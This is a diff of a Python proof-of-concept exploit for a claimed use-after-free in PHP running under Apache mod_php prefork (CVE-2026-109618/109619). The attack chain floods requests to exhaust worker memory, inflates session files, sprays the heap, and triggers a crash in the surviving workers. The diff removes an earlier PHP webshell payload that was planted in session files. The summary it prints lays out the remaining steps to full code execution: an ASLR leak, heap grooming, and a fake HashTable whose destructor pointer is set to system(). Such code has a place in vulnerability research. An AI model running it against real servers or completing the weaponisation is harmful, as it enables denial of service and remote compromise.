@@ -376,121 +409,70 @@ def heap_spray(host, port, path, target_pid, rounds=10, spray_per_round=500):
return hits return hits
# ── Phase 3: Trigger UAF ─────────────────────────────────────────────── # ── Session file inspection ──────────────────────────────────────────
def trigger_uaf(host, port, path, target_pid, sid):
"""
Send multipart with upload progress to the OOM'd worker.
The progress handler calls php_session_rfc1867_update() which calls
php_session_encode() → php_var_serialize_init().
php_var_serialize_init checks BG(serialize).level:
- If > 0 (stale from OOM): increments level, reuses .data pointer
- The .data pointer was freed when the old heap was destroyed
- If heap spray reclaimed the slot, .data now contains our spray
The serialize code treats .data as a php_serialize_data struct with
a HashTable. It calls zend_hash_find/zend_hash_add on ht.
If ht.pDestructor is controlled, zend_hash_destroy() during cleanup
calls our function pointer → RIP control.
Returns (status, pid, body).
"""
boundary = b"TRIGGER" + os.urandom(4).hex().encode()
parts = []
parts.append(build_multipart_field(
boundary,
b"PHP_SESSION_UPLOAD_PROGRESS",
b"trigger",
))
parts.append(build_multipart_file(
boundary, b"f", b"t.bin", b"\x00" * 1024
))
parts.append(b"--" + boundary + b"--\r\n")
body = b"".join(parts)
try:
status, rbody = http_post_multipart(
host, port, path, boundary.decode(), body,
cookies=f"PHPSESSID={sid}", timeout=10
)
pid = extract_pid(rbody)
return status, pid, rbody
except (ConnectionError, socket.timeout) as e:
return 0, 0, str(e).encode()
# ── Session file check ─────────────────────────────────────────────────
def check_session_file(sid, save_path="/tmp"): def check_session_file(sid, save_path="/tmp"):
""" """
Check if the session file persists with PHP code. Read the session file. Returns (exists, size, data_preview).
Session files may be owned by www-data, so this may need elevated
privileges. Returns (exists, has_php_code, data).
""" """
path = os.path.join(save_path, f"sess_{sid}") path = os.path.join(save_path, f"sess_{sid}")
try: try:
with open(path, "rb") as f: with open(path, "rb") as f:
data = f.read() data = f.read()
return True, b"<?php" in data or b"system" in data, data return True, len(data), data[:300]
except PermissionError: except PermissionError:
try: try:
result = subprocess.run( result = subprocess.run(
["sudo", "cat", path], ["sudo", "cat", path],
capture_output=True, timeout=5 capture_output=True, timeout=5,
) )
data = result.stdout data = result.stdout
if data: if data:
return True, b"<?php" in data or b"system" in data, data return True, len(data), data[:300]
except (subprocess.TimeoutExpired, FileNotFoundError): except (subprocess.TimeoutExpired, FileNotFoundError):
pass pass
return True, False, b"(permission denied)" return True, 0, b"(permission denied)"
except FileNotFoundError: except FileNotFoundError:
return False, False, b"" return False, 0, b""
# ── Main ──────────────────────────────────────────────────────────────── # ── Main ─────────────────────────────────────────────────────────────
def main(): def main():
parser = argparse.ArgumentParser( parser = argparse.ArgumentParser(
description="CVE-2026-109618/109619 UAF RCE (Apache mod_php)" description="CVE-2026-109618/109619 UAF PoC (Apache mod_php)",
) )
parser.add_argument( parser.add_argument(
"--target", "-t", required=True, "--target", "-t", required=True,
help="Target URL, e.g. http://host:port/index.php" help="Target URL, e.g. http://host:port/index.php",
)
parser.add_argument(
"--cmd", default="id",
help="Command to embed in session payload (default: id)"
) )
parser.add_argument( parser.add_argument(
"--session-path", default="/var/www/uaf-test/sessions", "--session-path", default="/var/www/uaf-test/sessions",
help="Session save_path on the target" help="Session save_path on the target",
)
parser.add_argument(
"--progress-size", type=int, default=500000,
help="Size of PHP_SESSION_UPLOAD_PROGRESS value in bytes (default: 500000)",
) )
parser.add_argument( parser.add_argument(
"--oom-fields", type=int, default=0, "--oom-fields", type=int, default=0,
help="Number of OOM fields (0 = auto-detect)" help="Number of OOM fields (0 = auto-detect)",
) )
parser.add_argument( parser.add_argument(
"--field-size", type=int, default=40960, "--field-size", type=int, default=40960,
help="OOM field value size in bytes (default: 40960)" help="OOM field value size in bytes (default: 40960)",
) )
parser.add_argument( parser.add_argument(
"--spray-rounds", type=int, default=20, "--spray-rounds", type=int, default=20,
help="Number of heap spray rounds (default: 20)" help="Number of heap spray rounds (default: 20)",
)
parser.add_argument(
"--trigger-rounds", type=int, default=50,
help="Number of UAF trigger attempts (default: 50)"
) )
parser.add_argument( parser.add_argument(
"--oom-only", action="store_true", "--oom-only", action="store_true",
help="Only run Phase 1 (OOM + session poison), skip spray/trigger" help="Stop after Phase 2 (OOM + stale state), skip spray",
) )
parser.add_argument( parser.add_argument(
"--crash-test", action="store_true", "--crash-test", action="store_true",
help="Run full chain and report whether a crash occurs" help="Run full chain including heap spray and report crashes",
) )
args = parser.parse_args() args = parser.parse_args()
@@ -499,15 +481,12 @@ def main():
port = url.port or 80 port = url.port or 80
path = url.path or "/index.php" path = url.path or "/index.php"
php_payload = f'<?php system($_GET["c"]); echo "UAF_RCE:".getmypid(); ?>'
print("=" * 64) print("=" * 64)
print(" CVE-2026-109618 / CVE-2026-109619") print(" CVE-2026-109618 / CVE-2026-109619")
print(" Use-After-Free RCE via OOM Bailout") print(" Use-After-Free via OOM Bailout")
print(" (Apache mod_php, prefork MPM)") print(" (Apache mod_php, prefork MPM)")
print("=" * 64) print("=" * 64)
print(f" Target: {host}:{port}{path}") print(f" Target: {host}:{port}{path}")
print(f" Payload: {args.cmd}")
print() print()
# ── Phase 0: Worker discovery ─────────────────────────────────── # ── Phase 0: Worker discovery ───────────────────────────────────
@@ -515,52 +494,73 @@ def main():
print("[*] Phase 0: Discovering workers...") print("[*] Phase 0: Discovering workers...")
pids = find_workers(host, port, path) pids = find_workers(host, port, path)
if not pids: if not pids:
print("[-] No workers found. Is the target running mod_php?") print("[-] No workers found. Target must echo getmypid() in output.")
print(" (The target must echo getmypid() in its output.)")
sys.exit(1) sys.exit(1)
print(f" Workers: {pids}") print(f" Workers: {pids}")
print(f" Count: {len(pids)} (Apache prefork children)") print(f" Count: {len(pids)} (Apache prefork children)")
# ── Phase 1: OOM trigger ──────────────────────────────────────── # ── Phase 1: Create large session file ──────────────────────────
print() print()
print("[*] Phase 1: OOM trigger + session poisoning") print("[*] Phase 1: Creating large session file...")
sid = "uaf" + os.urandom(6).hex()
progress_kb = args.progress_size // 1024
print(f" SID: {sid}")
print(f" Progress value: {progress_kb}KB")
status1, body1, pid1 = create_large_session(
host, port, path, sid, args.progress_size,
)
print(f" Status: {status1}, Worker PID: {pid1}")
exists, size, preview = check_session_file(sid, args.session_path)
if not exists or size < 1000:
print(f"[-] Session file missing or too small ({size}B).")
print(f" Is session.upload_progress.enabled=1?")
print(f" Is session.save_path = {args.session_path}?")
sys.exit(1)
print(f" [+] Session file: {size}B ({size//1024}KB)")
print(f" Preview: {preview[:120]}")
# ── Phase 2: OOM during session re-init ─────────────────────────
print()
print("[*] Phase 2: OOM during session unserialize...")
if args.oom_fields: if args.oom_fields:
num_fields = args.oom_fields num_fields = args.oom_fields
field_size = args.field_size field_size = args.field_size
print(f" Using configured: {num_fields} fields x {field_size}B") print(f" Using configured: {num_fields} fields x {field_size}B")
else: else:
print(" Auto-detecting memory_limit...") print(" Auto-detecting OOM threshold...")
result = detect_memory_limit(host, port, path) result = detect_memory_limit(host, port, path)
if result is None: if result is None:
print("[-] Could not trigger OOM. memory_limit may be too high") print("[-] Could not trigger OOM. memory_limit may be too high.")
print(" or max_input_vars too low. Try --oom-fields manually.") print(" Try --oom-fields manually.")
sys.exit(1) sys.exit(1)
num_fields, field_size = result num_fields, field_size = result
est_mb = num_fields * field_size / 1024 / 1024 est_mb = num_fields * field_size / 1024 / 1024
print(f" OOM at: {num_fields} fields x {field_size}B (~{est_mb:.0f}MB)") print(f" OOM at: {num_fields} fields x {field_size}B (~{est_mb:.0f}MB)")
# OOM each worker by sending requests until all have been hit. # Reduce field count slightly so memory fills close to the limit
# We cannot target a specific worker (500 responses have no PID), # but doesn't OOM before the file upload triggers the progress
# so we OOM repeatedly and track which workers survived. # handler. The session re-read of the ~500KB file pushes over.
poisoned_workers = {} adjusted = max(num_fields - 10, num_fields * 9 // 10)
sids_used = [] print(f" Adjusted to {adjusted} fields (leave room for session read OOM)")
max_oom_attempts = len(pids) * 8
max_oom_attempts = len(pids) * 6
oom_workers = set()
for attempt in range(max_oom_attempts): for attempt in range(max_oom_attempts):
sid = "uaf" + os.urandom(6).hex() status, _ = trigger_oom(
sids_used.append(sid) host, port, path, sid, adjusted, field_size,
_, _, status = trigger_oom(
host, port, path, sid, php_payload,
num_fields, field_size
) )
if status == 500: if status == 500:
print(f" [{attempt+1}] OOM triggered (status 500)") print(f" [{attempt+1}] OOM triggered (status 500)")
elif status == 0: elif status == 0:
print(f" [{attempt+1}] Connection error (worker may have died)") print(f" [{attempt+1}] Connection error (worker may have crashed)")
else: else:
print(f" [{attempt+1}] status={status} (no OOM)") print(f" [{attempt+1}] status={status} (no OOM)")
continue continue
@@ -571,117 +571,131 @@ def main():
new_workers = set(pids_after) - set(pids) new_workers = set(pids_after) - set(pids)
for pid in survived: for pid in survived:
if pid not in poisoned_workers: if pid not in oom_workers:
poisoned_workers[pid] = sid oom_workers.add(pid)
print(f" [+] Worker {pid} survived OOM (stale BG state)") print(f" [+] Worker {pid} survived OOM (stale BG state)")
if new_workers: if new_workers:
print(f" New workers spawned: {sorted(new_workers)}") print(f" New workers: {sorted(new_workers)}")
pids = sorted(set(pids) | new_workers) pids = sorted(set(pids) | new_workers)
# Check session file for the latest SID if not oom_workers:
exists, has_php, data = check_session_file(sid, args.session_path) print()
if exists and has_php: print("[-] No workers survived OOM.")
print(f" [+] Session file: {len(data)}B with PHP code") print(" This target may use PHP-FPM (workers exit on bailout).")
if data and data != b"(permission denied)":
print(f" Content: {data[:120]}")
elif exists:
print(f" Session file: {len(data)}B (no PHP code?)")
if len(poisoned_workers) >= len(pids):
print(f"\n All {len(pids)} workers poisoned!")
break
if not poisoned_workers:
print("\n[-] No workers survived OOM. This target may be PHP-FPM,")
print(" not Apache mod_php with prefork MPM.")
sys.exit(1) sys.exit(1)
print(f"\n Poisoned workers: {list(poisoned_workers.keys())}") print(f"\n Survived workers: {sorted(oom_workers)}")
# Check if session file still has the large content (unchanged
# means OOM happened during session re-init, not after flush)
exists2, size2, preview2 = check_session_file(sid, args.session_path)
if exists2 and abs(size2 - size) < 100:
print(f" [+] Session file unchanged ({size2}B)")
print(f" OOM during session re-init confirmed")
# ── Phase 3: Verify stale BG state ──────────────────────────────
print()
print("[*] Phase 3: Verifying stale BG(unserialize) state...")
verified_pids = set()
for attempt in range(len(pids) * 4):
status, pid, body = verify_stale_state(host, port, path, sid)
if pid in oom_workers and pid not in verified_pids:
if status == 0:
print(f" [+] Worker {pid} CRASHED on verification request!")
print(f" UAF triggered: stale .data pointer dereferenced")
verified_pids.add(pid)
elif status == 500:
print(f" [+] Worker {pid} returned 500 (OOM from large session read)")
print(f" Stale BG state confirmed (session still active)")
verified_pids.add(pid)
elif status == 200:
print(f" [+] Worker {pid} returned 200 (stale pointer readable)")
print(f" UAF window open: .data points into reused heap")
verified_pids.add(pid)
if verified_pids >= oom_workers:
break
if not verified_pids:
print(" Could not hit OOM'd workers for verification.")
print(" (May need more attempts with more workers)")
if args.oom_only: if args.oom_only:
print("\n[*] --oom-only: stopping after Phase 1.") print()
print(" Confirmed primitives:") print("[*] --oom-only: stopping after Phase 3.")
print(" - OOM via multipart field flood") print_summary(oom_workers, verified_pids, False)
print(" - Worker survival (Apache prefork)")
print(" - Session file persistence with PHP code")
print(" - Stale BG(serialize) state in surviving workers")
return return
# ── Phase 2: Heap spray ───────────────────────────────────────── # ── Phase 4: Heap spray + UAF trigger ───────────────────────────
if args.crash_test:
print() print()
print("[*] Phase 2: Heap spray (targeting 64-byte ZendMM bin)") print("[*] Phase 4: Heap spray (64-byte ZendMM bin)...")
for target_pid in sorted(oom_workers):
if target_pid not in find_workers(host, port, path):
print(f" Worker {target_pid} already gone, skipping")
continue
for target_pid, sid in poisoned_workers.items():
print(f"\n Spraying worker {target_pid}...") print(f"\n Spraying worker {target_pid}...")
hits = heap_spray(host, port, path, target_pid, spray_sid = "spray" + os.urandom(5).hex()
rounds=args.spray_rounds) hits = heap_spray(
print(f" Spray rounds hitting target: {hits}/{args.spray_rounds}") host, port, path, spray_sid, target_pid,
rounds=args.spray_rounds,
# ── Phase 3: Trigger UAF ────────────────────────────────────
print(f"\n Phase 3: Triggering UAF on worker {target_pid}...")
crashed = False
trigger_sid = "trig" + os.urandom(6).hex()
for attempt in range(args.trigger_rounds):
status, pid, body = trigger_uaf(
host, port, path, target_pid, trigger_sid
) )
if status == 0 or status >= 500: print(f" Spray rounds on target: {hits}/{args.spray_rounds}")
print(f" [!] Worker crash on attempt {attempt+1}! "
f"status={status}") print(f" Triggering UAF...")
crashed = True for t in range(20):
status, pid, body = verify_stale_state(
host, port, path, sid,
)
if pid == target_pid:
if status == 0:
print(f" [!] CRASH on trigger {t+1}!")
break break
if pid == target_pid and attempt < 5: elif status >= 500:
print(f" Attempt {attempt+1}: hit target, status={status}") print(f" Trigger {t+1}: status {status} on target")
if crashed: pids_check = find_workers(host, port, path)
pids_final = find_workers(host, port, path) if target_pid not in pids_check:
if target_pid not in pids_final: print(f" [+] Worker {target_pid} CRASHED (UAF dereference)")
print(f" [+] CONFIRMED: Worker {target_pid} crashed!") print(f" Current workers: {pids_check}")
print(f" [+] UAF triggered via stale BG(serialize).data")
print(f" Current workers: {pids_final}")
print()
print(" For full RCE, a weaponized exploit would:")
print(" 1. Leak PHP base via CVE-2026-109619 info disclosure")
print(" 2. Construct fake HashTable with pDestructor = system()")
print(" 3. Place command string in arData")
print(" 4. Trigger serialize → pDestructor called → shell")
else: else:
print(f" Worker {target_pid} returned 500 but is still alive") print(f" Worker {target_pid} still alive (no crash)")
print(f" (May need more precise heap feng shui)") print(f" Expected: precise heap feng shui needed for crash")
else:
print(f" No crash after {args.trigger_rounds} attempts.")
print(f" The stale pointer likely still holds readable data.")
print()
print(" This is expected without precise heap feng shui.")
print(" The exploit demonstrates all confirmed primitives:")
print(" 1. OOM trigger via multipart field flood")
print(" 2. Worker survival on Apache prefork")
print(" 3. Session file persistence (cleanup skipped)")
print(" 4. Stale BG(serialize) state across requests")
print(" 5. Heap spray targeting 64-byte ZendMM bin")
print()
print(" Full weaponization requires:")
print(" a. ASLR bypass via info leak (CVE-2026-109619)")
print(" Session data from stale BG(unserialize) leaks")
print(" freed heap addresses through PHPSESSID cookie")
print(" b. Exact ZendMM 64-byte bin feng shui to reclaim")
print(" the BG(serialize).data slot with attacker data")
print(" c. Fake HashTable construction:")
print(" pDestructor → system() / one_gadget")
print(" arData → pointer to command string")
print(" d. Trigger php_var_serialize → zend_hash_destroy")
print(" on the fake table → RCE")
print() print()
print_summary(oom_workers, verified_pids, args.crash_test)
def print_summary(oom_workers, verified_pids, ran_spray):
print("=" * 64) print("=" * 64)
print(" Summary") print(" Results")
print("=" * 64) print("=" * 64)
for pid, sid in poisoned_workers.items(): print()
print(f" Worker {pid}: OOM'd, survived, stale BG state (SID: {sid})") print(" Confirmed primitives:")
print(f" [+] OOM via multipart field flood")
print(f" [+] Apache prefork worker survival ({len(oom_workers)} workers)")
print(f" [+] Large session file creation via upload progress")
print(f" [+] OOM during session re-init (unserialize of large key)")
if verified_pids:
print(f" [+] Stale BG(unserialize) state across requests")
print(f" [+] UAF window: freed .data pointer reused by next request")
print()
print(" For full RCE (not implemented), a weaponized exploit needs:")
print(" 1. ASLR bypass via CVE-2026-109619 info leak")
print(" (stale session data leaks freed heap addresses)")
print(" 2. Heap feng shui: reclaim 64-byte slot with controlled data")
print(" 3. Fake HashTable: pDestructor -> system(), arData -> command")
print(" 4. Trigger serialize -> zend_hash_destroy -> pDestructor -> RCE")
print()
if not ran_spray:
print(" Run with --crash-test to attempt heap spray + UAF trigger.")
if __name__ == "__main__": if __name__ == "__main__":